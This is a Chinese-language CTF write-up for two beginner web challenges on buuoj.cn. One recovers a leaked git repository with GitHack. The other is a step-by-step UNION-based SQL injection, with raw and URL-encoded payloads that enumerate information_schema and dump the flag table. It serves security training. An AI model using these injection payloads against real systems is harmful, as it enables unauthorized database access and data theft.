# https://buuoj.cn CTF練習網站 ### WEB題目 使用工具 githack 下載位置 https://github.com/lijiejie/GitHack 使用條件 python ============================================== 題目 ##### [第一章 web入门]粗心的小李 ============================================== ![](https://i.imgur.com/oKMqM1g.png) ============================================== #解法 解壓縮抓回來的github工具後,利用工具破解 ![](https://i.imgur.com/lAOMpeO.png) 然後下指令!!即可爆破html ![](https://i.imgur.com/eq44gIE.png) 然後在到爆破中的html查看 即可看到flag ![](https://i.imgur.com/Rtn1Uol.png) =============================================== ============================================== 題目 ##### [第一章 web入门]SQL注入-1 ============================================== ![](https://i.imgur.com/uSeLFSX.png) ![](https://i.imgur.com/YwHtEJa.png) 登入頁面後只會看到網站說明 ![](https://i.imgur.com/BIaLXC0.png) 更換他的id值!!出現的東西也會不同 ![](https://i.imgur.com/KrrXdLx.png) 在id=3時,會看到提示 可加入&tips=1語法 ![](https://i.imgur.com/tQEtm7s.png) 這時候會看到select語法出現 代表id後面可利用SQL語法 '斷開SQL語言 輸入注入點,-1' union select 1,2,3--+,可看看是否可以SQL Inject ![](https://i.imgur.com/BZE6ur1.png) 發現有SQL inject的問題後,繼續填寫 -1' union select 1,2,group_concat(schema_name) from information_schema.schemata# 查詢資料庫內容 不過要轉換html語言-1%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%23 (group_concat(schema_name) from information_schema.schemata)這個語法為mysql查詢資料庫函數 ![](https://i.imgur.com/dS6Mels.png) 然後查詢出資料庫名稱有information_schema,mysql,note,performance_schema這幾個 在輸入 -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='note' # 轉換成html語言為 -1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables where table_schema='note'%23 ![](https://i.imgur.com/mzDB2SB.png) 查出fl4g,notes這個資料表 然後在查看這個資料表內容 -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g' # 轉換html語言 -1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns where table_name='fl4g'%23 ![](https://i.imgur.com/1gBk70Z.png) 查出資料內容fllllag 繼續在讀資料內容 -1' union select 1,2,group_concat(concat_ws(0x23,fllllag)) from note.fl4g # concat_ws()函數,表示concat with separator,即有分隔符的字符串連 轉換html語言 ![](https://i.imgur.com/dmk8uRj.png) Game Over